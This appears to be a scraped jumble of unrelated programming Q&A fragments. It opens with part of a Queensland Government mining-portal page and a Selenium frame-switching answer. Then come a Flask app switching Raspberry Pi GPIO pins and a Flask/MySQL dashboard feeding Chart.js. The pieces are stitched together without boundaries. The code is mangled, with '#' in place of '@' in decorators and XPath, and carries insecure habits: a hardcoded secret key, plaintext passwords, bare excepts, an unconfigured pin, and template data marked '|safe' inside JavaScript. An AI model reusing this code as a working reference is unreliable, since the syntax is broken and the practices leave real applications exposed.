Environment.Navigation.goTo = function(navToken, pageId) {
// #37674: the tabView component does not provide a way to get the number of tabs,
// so try and retrieve the second one. If it does not exist, hide the component.
if (!tabView.getTab(1)) {
$('#environmentNavigation').hide();
}
var currentState = YAHOO.util.History.getCurrentState(ApplicationPortalUtils.navItemKey);
if (navToken === currentState) {
var navConfig = {};
var contentIndex = navToken.indexOf(';');
if (contentIndex < 0) {
navConfig.navItemId = navToken;
} else {
navConfig.navItemId = navToken.substring(0, contentIndex);
navConfig.content = navToken.substring(contentIndex + 1);
}
// Check if the nav item is valid. If it's invalid, it will try to default to
// the application's default nav item.
if (!navItemDefaultContent[navConfig.navItemId]) {
if (!navItemDefaultContent['system.defaultitem']) { // The application itself is either invalid or it might not have any nav items.
// The app doesn't have any content to load, so we manually need to invoke the
// "afterContentLoad" callback.
Environment.Navigation.afterContentLoad();
return;
}
var errorCallback = function() {
asi.alert('The specified page is not available.');
};
navConfig.navItemId = 'system.defaultitem';
}
tabView.set('activeIndex', navItemDefaultContent[navConfig.navItemId].index);
if (pageId) {
backgroundAction('/portal.do?$p=' + pageId, null, errorCallback);
} else if (!navConfig.content || StringUtils.isBlank(navConfig.content)) {
backgroundAction(navItemDefaultContent[navConfig.navItemId].url, null, errorCallback);
} else {
backgroundAction(navConfig.content, null, errorCallback);
}
} else {
YAHOO.util.History.navigate(ApplicationPortalUtils.navItemKey, navToken);
}
};
$('#environmentNavigation li').click(function(){
var navItem = this.getAttribute(ApplicationPortalUtils.navItemKey);
Environment.Navigation.goTo(navItem);
});
})();
</script>
<div id="environmentTitlebar">
<div style="position:relative">
<div id="inlineConfirmMessage" onclick="STATUS.hide();" title="Click to hide message" class="" style="display: none;">Inline confirmation message text goes here</div>
</div>
<div id="pageTitle">My Details</div>
<div id="pageContext"></div>
<div id="breadcrumb"></div>
<div class="links">
<div id="optionsToggleContainer" style="">
Actions
</div>
</div>
<div id="pageOptionsMenu" class="yuimenu yui-module yui-overlay" style="z-index: 1; position: absolute; visibility: hidden; left: -10000px; top: -9999.41px;"><div class="bd"><ul class="first-of-type"><li class="yuimenuitem first-of-type" id="yui-gen3" groupindex="0" index="0">Bookmark this page</li></ul></div><div class="yui-menu-shadow"></div></div>
</div>
<div id="environmentContent" lasthref="/portal.bg?appian_environment=apps&%24p=53" class="">
<div class="asiPortalPageHeader"><h1>My Details</h1>
</div>
<div class="asiToolbar" id="portalPageToolbar" style="display: none;">
<input id="secretPageName" type="hidden" value="My Details">
</div>
<div style="float: left; width: 70%;" id="leftColumn" class="portletColumn"><div id="portletContainer_178">
<a name="178"></a>
<div class="portlet portletPlain">
<div class="portletHeader viewerMode">
</div>
</div>
<div id="portletContainer_224">
<a name="224"></a>
<div class="portlet portletPlain">
<div class="portletHeader viewerMode">
</div>
<div class="portletBody">
<div class="portletError" id="portletError_224" style="display:none;"></div>
<div class="portletMessage" id="portletMessageBar_224" style="display:none;"></div>
<div id="miniWebForm_224" class="mini">
<div id="miniWebContent_224" style="display: none"><p><strong><font size="3">Update My User Profile</font></strong></p>
<p><em>You can update your user contact details using this function.<br></em></p></div>
<iframe title="Web channel content" style="width: 100%; height: 35px;" frameborder="0" id="miniWebIframe_224" src="/suite/p_mini/viewMiniContent.do?chid=224&appian_environment=apps"></iframe>
</div>
</div>
</div>
</div>
<div id="portletContainer_232">
<a name="232"></a>
<div class="portlet portletPlain">
<div class="portletHeader viewerMode">
</div>
<div class="portletBody">
<div class="portletError" id="portletError_232" style="display:none;"></div>
<div class="portletMessage" id="portletMessageBar_232" style="display:none;"></div>
<div id="miniWebForm_232" class="mini">
<div id="miniWebContent_232" style="display: none"><p><strong><font size="3">Change My User Password </font></strong></p>
<p><em>You can reset your MyMines Online password using this function.</em><br></p></div>
<iframe title="Web channel content" style="width: 100%; height: 35px;" frameborder="0" id="miniWebIframe_232" src="/suite/p_mini/viewMiniContent.do?chid=232&appian_environment=apps"></iframe>
</div>
</div>
</div>
</div>
<div id="portletContainer_108">
<a name="108"></a>
<div class="portlet portletPlain">
<div class="portletHeader viewerMode">
</div>
<div class="portletBody">
<div class="portletError" id="portletError_108" style="display:none;"></div>
<div class="portletMessage" id="portletMessageBar_108" style="display:none;"></div>
<div id="miniWebForm_108" class="mini">
<div id="miniWebContent_108" style="display: none"><p> </p>
<p><font size="5"><strong>Authorised holder representative (AHR) details <br></strong></font></p>
<hr>
<p></p>
<p></p></div>
<iframe title="Web channel content" style="width: 100%; height: 59px;" frameborder="0" id="miniWebIframe_108" src="/suite/p_mini/viewMiniContent.do?chid=108&appian_environment=apps"></iframe>
</div>
</div>
</div>
</div>
</div>
<div style="float: right; width: 29%;" id="rightColumn" class="portletColumn"><div id="portletContainer_112">
<a name="112"></a>
<div class="portlet portletDefault">
<div class="portletHeader">
I want to...
</div>
<div class="portletBody">
<div class="portletError" id="portletError_112" style="display:none;"></div>
<div class="portletMessage" id="portletMessageBar_112" style="display:none;"></div>
<div id="miniWebForm_112" class="mini">
<div id="miniWebContent_112" style="display: none"><p>Contact the helpdesk</p>
<p>Open MyMinesOnline help<br></p></div>
<iframe title="Web channel content" style="width: 100%; height: 30px;" frameborder="0" id="miniWebIframe_112" src="/suite/p_mini/viewMiniContent.do?chid=112&appian_environment=apps"></iframe>
</div>
</div>
</div>
</div>
</div>
<br style="clear: both;">
<div style="clear: both; visibility: hidden;">.</div></div>
<script type="text/javascript">
(function(){
function updateCounter(containers, count) {
if(count > 0) {
containers.html(" ({0})".supplant(count));
} else {
containers.html("");
}
}
var tasksCount = parseInt('2');
var notificationsCount = parseInt('0');
var tasksSpan = $("#environmentHeader span.taskCount").add("#environmentNavigation span.taskCount");
var alertsSpan = $("#environmentHeader span.notificationCount").add("#environmentNavigation span.notificationCount");
updateCounter(tasksSpan, tasksCount);
updateCounter(alertsSpan, notificationsCount);
})();
</script>
<div style="clear:both; visibility:hidden;"> </div>
</div>
</div>
<iframe id="yui-history-iframe" style="display:none;" src="/suite/portal/blank.jsp" title="Background processing frame. No displayed content."></iframe>
<input id="yui-history-field" type="hidden">
<script>
(function initializeHistory(){
var initialTopNavViewState = YAHOO.util.History.getBookmarkedState(ApplicationPortalUtils.topNavKey);
if (StringUtils.isBlank(initialTopNavViewState)) {
// if no bookmarked state is available then use the top-navigation item determined by
// ApplicationsPortalEntryPoint as the default state; 'system.tasks' is used as last-resource
// fallback -it would only be used if the requested top-navigation item is invalid or not
// available; in which case we already present an error page.
var topNavItemId = 'myminesonline';
initialTopNavViewState = StringUtils.isBlank(topNavItemId) ? 'system.tasks' : topNavItemId;
}
// The registration of the application needs to happen before the registration of the
// tab navigation. When changing apps, we have to do a "multinavigate" to update
// both status, the status of the app and the navigation and YUI will trigger
// both of them. However, we just need to execute the application status change.
YAHOO.util.History.register(ApplicationPortalUtils.topNavKey, initialTopNavViewState, ApplicationPortalUtils.loadTopNavigation);
var initialNavItemState = YAHOO.util.History.getBookmarkedState(ApplicationPortalUtils.navItemKey) || ApplicationPortalUtils.defaultNavItem;
YAHOO.util.History.register(ApplicationPortalUtils.navItemKey, initialNavItemState, function(navId){
Environment.Navigation.goTo(navId);
});
YAHOO.util.History.onReady(function executeWhenPageIsFinishedLoading() {
// This function gets triggered after login or after a full page refresh.
// In the first case, there will not be a bookmarked state, we just need to go
// to the "initialNavItemState".
// In the second case, there might be a bookmarked state, if so, navigate to
// that state.
var bookmarkedTopNavState = YAHOO.util.History.getBookmarkedState(ApplicationPortalUtils.topNavKey);
if (StringUtils.isBlank(bookmarkedTopNavState)) {
Environment.Navigation.goTo(initialNavItemState);
} else {
ApplicationPortalUtils.loadTopNavigation(bookmarkedTopNavState);
}
});
YAHOO.util.History.initialize("yui-history-field", "yui-history-iframe");
})();
</script>
<div id="footer">
19.3.151 ©2003-2021 Queensland Government
</div>
<script type="text/javascript">
document.body.onclick= function (evt) {
evt = evt || event;
var target = evt.srcElement || evt.target;
try{ DATETIME.hideAll(target); } catch(e){}
try { hideAllReportPalettes(target, true); } catch(e){}
try{ DROPDOWN.hideAll(); } catch(e){}
try{ if(!(target.id in set('formPropertiesPaneLink','formPropertiesPaneImg'))){$("#formPropertiesPane").hide();}} catch(e){}
}
document.onmousedown = function (e) {
try { DIALOG.pick(e); } catch(e){}
}
document.onmousemove = function (e) {
try { DIALOG.move(e); } catch(e){}
}
document.onmouseup = function (e) {
try { DIALOG.drop(e); } catch(e){}
}
document.onmouseover = document.onmouseout = function () {
window.status = '';
return true;
}
window.onresize = function(){
if (AUTOCOMPLETE.pointer){ AUTOCOMPLETE.pointer.placeSuggestionGrid(); }
}
function hideLayers() {
try { STATUS.hide(); } catch(e){}
try { DIALOG.hide(); } catch(e){}
try { DATETIME.hideAll(); } catch(e){}
try { PICKER.hideAll(); } catch(e){}
asi.removeAlert();
}
document.onkeydown = function(e) {
e = e || event;
switch (e.keyCode) {
case ESC_KEY: hideLayers(); break;
case ENTER_KEY:
try { autoClick(getObject('asiAlertOK')); } catch(e){}
break;
}
return true;
}
function onfocus() {
if ((typeof processModelerLegacy != 'undefined' && processModelerLegacy.closed == true) ||
(typeof processModelerDesign != 'undefined' && processModelerDesign.closed == true)) {
if (window.PROCESS_MODEL_ID) {
backgroundPage("/process/unlockProcessModel.none?processModelId="+window.PROCESS_MODEL_ID);
} else if (window.PROCESS_ID) {
backgroundPage("/process/unlockProcessModel.none?processId="+window.PROCESS_ID);
}
document.body.onfocus=null;
}
if (typeof processModelerLegacy == 'undefined' && typeof processModelerDesign == 'undefined') {
document.body.onfocus=null;
}
}
</script>
<iframe src="javascript:''" id="masterapp" tabindex="-1" style="position: absolute; width: 0px; height: 0px; border: none;"></iframe><div aria-hidden="true" style="display: none;"></div><div class="appian-indicator-message" style="display: none;" aria-hidden="true"><span class="GE4QWF-BK-"><span class="GE4QWF-BJ-">Working...</span></span> <span class="GE4QWF-BL-">Working...</span></div><div style="position: absolute; height: 1px; width: 1px; top: -1000px; left: -1000px;"><span class="ygtvtm"> </span><span class="ygtvtmh"> </span><span class="ygtvtp"> </span><span class="ygtvtph"> </span><span class="ygtvln"> </span><span class="ygtvlm"> </span><span class="ygtvlmh"> </span><span class="ygtvlp"> </span><span class="ygtvlph"> </span><span class="ygtvloading"> </span></div></body>
You need to switch to the <frame> first, and then find the element.
frame = driver.find_element_by_id("fContent")
driver.switch_to.frame(frame)
xpath = "//div[#id='environmentNavigation']//li/a[contains(., 'All permits')]"
tab = wait.until(EC.element_to_be_clickable((By.XPATH, xpath))
tab.click()
try to click with javascript:
import time
time.sleep(3)
el = driver.find_element_by_xpath('//li[#nav="allPermits"]')
driver.execute_script("arguments[0].click();", el)
I am controlling Raspberry Pi GPIO pins with a python web app. Its work fine in my tests with flask-test-server but its not working from another network or from internet. Raspberry Pi is in a local area network and is visible through the DMZ of the router with port 80 and Apache2 in the internet.I have created with an Apache2 server in raspberry pi and accessing a .py file to change the status of pins. Status of pins are work fine in my tests but its is not working in another network, although it accesses my server from the other network but is not changing the status of GPIO pin. so I know that " if request.method == 'POST'" in "
#app.route('/profile', methods=['GET', 'POST']) " is not working properly in my code but I don't know why ???!!!!
html file:
<!doctype html>
<html lang="en">
<head>
<title>controller</title>
<meta charset="UTF-8">
<link rel="stylesheet" type="text/css" href="{{url_for('static', filename='css/controller.css')}}">
<!--===============================================================================================-->
</head>
<body>
<form method="post">
<span class="switch">
<span class="switch-border1">
<span class="switch-border2">
<input id="switch1" name="checkbox" value="1" type="checkbox"/>
<label for="switch1"></label>
<span class="switch-top"></span>
<span class="switch-shadow"></span>
<span class="switch-handle"></span>
<span class="switch-handle-left"></span>
<span class="switch-handle-right"></span>
<span class="switch-handle-top"></span>
<span class="switch-handle-bottom"></span>
<span class="switch-handle-base"></span>
<span class="switch-led switch-led-green">
<span class="switch-led-border">
<span class="switch-led-light">
<span class="switch-led-glow"></span>
</span>
</span>
</span>
<span class="switch-led switch-led-red">
<span class="switch-led-border">
<span class="switch-led-light">
<span class="switch-led-glow"></span>
</span>
</span>
</span>
</span>
</span>
</span>
<span class="switch">
<span class="switch-border1">
<span class="switch-border2">
<input id="switch2" name="checkbox" value="2" type="checkbox"/>
<label for="switch2"></label>
<span class="switch-top"></span>
<span class="switch-shadow"></span>
<span class="switch-handle"></span>
<span class="switch-handle-left"></span>
<span class="switch-handle-right"></span>
<span class="switch-handle-top"></span>
<span class="switch-handle-bottom"></span>
<span class="switch-handle-base"></span>
<span class="switch-led switch-led-green">
<span class="switch-led-border">
<span class="switch-led-light">
<span class="switch-led-glow"></span>
</span>
</span>
</span>
<span class="switch-led switch-led-red">
<span class="switch-led-border">
<span class="switch-led-light">
<span class="switch-led-glow"></span>
</span>
</span>
</span>
</span>
</span>
</span>
<span class="switch">
<span class="switch-border1">
<span class="switch-border2">
<input id="switch3" name="checkbox" value="3" type="checkbox"/>
<label for="switch3"></label>
<span class="switch-top"></span>
<span class="switch-shadow"></span>
<span class="switch-handle"></span>
<span class="switch-handle-left"></span>
<span class="switch-handle-right"></span>
<span class="switch-handle-top"></span>
<span class="switch-handle-bottom"></span>
<span class="switch-handle-base"></span>
<span class="switch-led switch-led-green">
<span class="switch-led-border">
<span class="switch-led-light">
<span class="switch-led-glow"></span>
</span>
</span>
</span>
<span class="switch-led switch-led-red">
<span class="switch-led-border">
<span class="switch-led-light">
<span class="switch-led-glow"></span>
</span>
</span>
</span>
</span>
</span>
</span>
<input type="submit" value="Apply" style="
background-color: #4CAF50; /* Green */
border: none;
color: white;
padding: 15px 32px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
margin: 4px 2px;
cursor: pointer;
background-color: white;
color: black;
border: 2px solid #f44336;" />
</form>
</body>
</html>
and py file with flask:
from flask import (
Flask,
g,
redirect,
render_template,
request,
session,
url_for
)
import RPi.GPIO as GPIO
class User:
def __init__(self, identi, username, password):
self.id = identi
self.username = username
self.password = password
def __repr__(self):
return f'<User: {self.username}>'
users = []
mahbod = User(1024, username='xxxxx', password='xxxxx')
mahta = User(1025, username='', password='xxxxxx')
users.append(mahta)
users.append(mahbod)
app = Flask(__name__)
app.secret_key = 'somesecretkeythatonlyishouldknow'
#app.before_request
def before_request():
g.user = None
if 'user_id' in session:
user = [x for x in users if x.id == session['user_id']][0]
g.user = user
#app.route('/login', methods=['GET', 'POST'])
#app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
session.pop('user_id', None)
username = request.form['username']
pas = request.form['pass']
for x in users:
if x.username == username and x.password == pas:
session['user_id'] = x.id
return redirect(url_for('profile'))
return render_template('login.html')
#app.route('/profile', methods=['GET', 'POST'])
def profile():
if not g.user:
return redirect(url_for('login'))
if request.method == 'POST':
checkbox = request.form.getlist('checkbox')
try:
# set GPIO numbering mode and define output pins
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(20,GPIO.OUT)
GPIO.setup(26,GPIO.OUT)
GPIO.setup(21,GPIO.OUT)
if len(checkbox) == 0:
GPIO.output(21,False)
GPIO.output(20,False)
GPIO.output(26,False)
else:
#for x in checkbox:
if "1" in checkbox:
try:
GPIO.output(21,True)
print("switch_1 on")
except:
pass
else:
try:
GPIO.output(21,False)
print("switch_1 off")
except:
pass
if "2" in checkbox:
try:
GPIO.output(20,True)
print("switch_2 on")
except:
pass
else:
try:
GPIO.output(20,False)
print("switch_2 off")
except:
pass
if "3" in checkbox:
try:
GPIO.output(27,True)
print("switch_4 on")
except:
pass
else:
try:
GPIO.output(27,False)
print("switch_4 off")
except:
pass
except:
return redirect(url_for('not_work'))
return render_template('profile.html')
#app.route('/not_work')
def not_work():
return render_template('not_work.html')
if __name__ == "__main__":
app.run(debug=True)
I run with success a flask application interfaced with a MySQL database, all running fine.
I'm now trying to build a Dashboard page that will build charts and updates them as the data evolves.
Those charts will be filled-up with dedicated queries defined in the routes and pushed to the proper HTML template with jQuery/Ajax.
I'm stuck at the point where it seems no data gets out of my #home.route > data() function and i can't figure out why. The error in the debuger tells me that the data is "undefined" (the value data is of float type, containg "." decimals).
My .js knowledge being ridiculously low, i'd appreciate if somebody could help me progress on my error.
Thank you very much.
This is my main route.
#home.route('/admin/dashboard', methods=['GET','POST'])
def data():
conn = None
cursor = None
try:
conn = mysql.connect()
cursor = conn.cursor()
sql = "SELECT location_id, SUM(workload) FROM collaborators GROUP BY location_id ORDER BY DATE(location_id) DESC";
cursor.execute(sql)
rows = cursor.fetchall()
data = []
for row in rows:
data.append({'location_id': str(row[0]), 'workload': float(row[1])})
return jsonify({'payload': json.dumps({'workload':data,'location_id':labels})})
This is my HTML also sheltering the chart script.
<!-- app/templates/home/admin_dashboard.html -->
{% extends "base.html" %}
{% block title %}Admin Dashboard{% endblock %}
{% block body %}
<div class="intro-header">
<div class="container" style="height:50px">
<p>Dynamic chart using .JS, Ajax & jQuery</p>
</div>
<canvas id="myChart" width="100" height="70"></canvas>
<script>
$(document).ready(function(){
var _data;
var _labels;
$.ajax({
url: "/admin/dashboard",
type: "get",
dataType:"json",
data:{vals: ''},
success: function(response) {
console.log("This is the returned data: " + JSON.stringify(response));
full_data = JSON.parse(response.payload);
console.log(full_data);
_data = full_data['workload'];
_labels = full_data['location_id'];
},
error: function(error){
console.log("Here is the error res: " + JSON.stringify(error));
}
});
// define the chart data
var chartData = {
labels : _labels,
datasets : [{
label: 'workload',
fill: false,
borderColor: 'rgba(255, 25, 255, 1.0)',
data: _data,
},
]
}
// get chart canvas
var ctx = document.getElementById("myChart").getContext("2d");
// create the chart using the chart canvas
var myChart = new Chart(ctx, {
type: 'bar',
data: chartData,
options: {
legend: { display: true },
title: {
display: false,
text: 'Predicted world population (millions) in 2050'
}
}
});
});
</script>
</div>
{% endblock %}
And finally, this is my base.HTML.
<!-- app/templates/base.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<title>{{ title }} - Proc. Headcount</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
<link href="{{ url_for('static', filename='css/style.css') }}" rel="stylesheet">
<link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<link type="text/css" rel="stylesheet" href="{{ url_for('static', filename='css/xcharts.min.css') }}"/>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.9.3/Chart.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.9.3/Chart.bundle.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.9.3/Chart.bundle.min.js "></script>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script src="https://code.jquery.com/ui/1.12.1/jquery-ui.min.js"></script>
<script src="{{ url_for('static', filename='js/charts/d3.js') }}"></script>
<script src="{{ url_for('static', filename='js/charts/sugar.min.js') }}"></script>
<script src="{{ url_for('static', filename='js/charts/xcharts.min.js') }}"></script>
</head>
<body>
<nav class="navbar navbar-default navbar-fixed-top topnav" style="background-color: #0c0d29;background-color:#000000;" role="navigation">
<div class="container topnav">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
</div>
<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<div class="logo" >
<a href="{{ url_for('home.homepage') }}">
<img src="{{STATIC_URL}}../../../static/img/Thales_Logo2.png">
</a>
</div>
<ul class="nav navbar-nav navbar-right">
{% if current_user.is_authenticated %}
{% if current_user.is_admin %}
<li><a class="outward" href="{{ url_for('home.data') }}">Dashboard</a></li>
<li><a class="outward" href="{{ url_for('admin.list_functions') }}">Functions</a></li>
<li><a class="outward" href="{{ url_for('admin.list_roles') }}">Roles</a></li>
<li><a class="outward" href="{{ url_for('admin.list_locations') }}">Locations</a></li>
<li><a class="outward" href="{{ url_for('admin.list_collaborator') }}">Collaborators</a></li>
{% else %}
<li>Dashboard</li>
{% endif %}
<li><a class="outward" href="{{ url_for('auth.logout') }}">Logout</a></li>
<li><a><i class="fa fa-user"></i> Hi, {{ current_user.username }}!</a></li>
{% else %}
<li>Home</li>
<li>Register</li>
<li>Login</li>
{% endif %}
</ul>
</div>
</div>
</nav>
<div class="wrapper">
{% block body %}
{% endblock %}
<div class="push"></div>
</div>
<footer>
<div class="container">
<div class="row">
<div class="col-lg-12">
<ul class="list-inline">
<li>Home</li>
<li class="footer-menu-divider">⋅</li>
<li>Register</li>
<li class="footer-menu-divider">⋅</li>
<li>Login</li>
</ul>
<p class="copyright text-muted small">Thales / Procurement</p>
</div>
</div>
</div>
</footer>
</body>
</html>
for row in rows:
data.append({'location_id': str(row[0]), 'workload': float(row[1])})
I would try printing what you are returning (the jsonify) to see if that's correct, and then if it's not then I would go back to the above line and see if this is how you should be appending to an array of json objects. Will the jsonify accept that?
Okay i solved my problem I think.
Thanks to this : Accessing python list in javascript as an array
The problem was that i was not materializing the interface between my HTML template (hosting the javascript) and my Flask function executing the SQL.
I abandoned flask.jsonify / dumps method, to directly implement the value/labels names in the render_template(). I still have some improvements to do though.
Also i modified my script client-side to use {{ data|tojson|safe }}.
#home.route('/admin/dashboard', methods=['GET','POST'])
#login_required
def admin_dashboard():
# prevent non-admins from accessing the page
if not current_user.is_admin:
abort(403)
conn = None
cursor = None
try:
conn = mysql.connect()
cursor = conn.cursor()
sql = "SELECT location_id, SUM(workload) as workload FROM collaborators GROUP BY location_id;"
cursor.execute(sql)
rows = cursor.fetchall()
test = []
labels = []
for index in range(len(rows)):
test.append(rows[index][1])
labels.append(float(rows[index][0]))
return render_template('home/admin_dashboard.html', title="Dashboard", test = test, labels = labels)
except Exception as e:
print(e)
finally:
if cursor and conn:
cursor.close()
conn.close()
<script>
$(document).ready(function(){
var data = JSON.parse('{{test | tojson | safe}}');
var labels = JSON.parse('{{labels | tojson | safe}}');
console.log(labels)
$.ajax({
url: "/admin/dashboard",
type: "get",
contentType: "application/json; charset=utf-8",
dataType:"json",
data:{vals:''},
success: function(response) {
console.log(response);
full_data = JSON.parse('{{test | tojson | safe}}');
console.log(full_data);
data = full_data['data'];
labels = full_data['labels'];
},
});
// define the chart data
var chartData = {
labels: labels,
datasets : [{
label: 'workload',
fill: true,
borderColor: 'rgba(25, 25, 25, 1)',
backgroundColor:'steelblue',
data: data
}],
}
// get chart canvas
var ctx = document.getElementById("myChart").getContext("2d");
// create the chart using the chart canvas
var myChart = new Chart(ctx, {
type: 'bar',
data: chartData,
options: {
legend: { display: true },
title: {
display: true,
text: 'Procurement Headcount'
}
}
});
});
</script>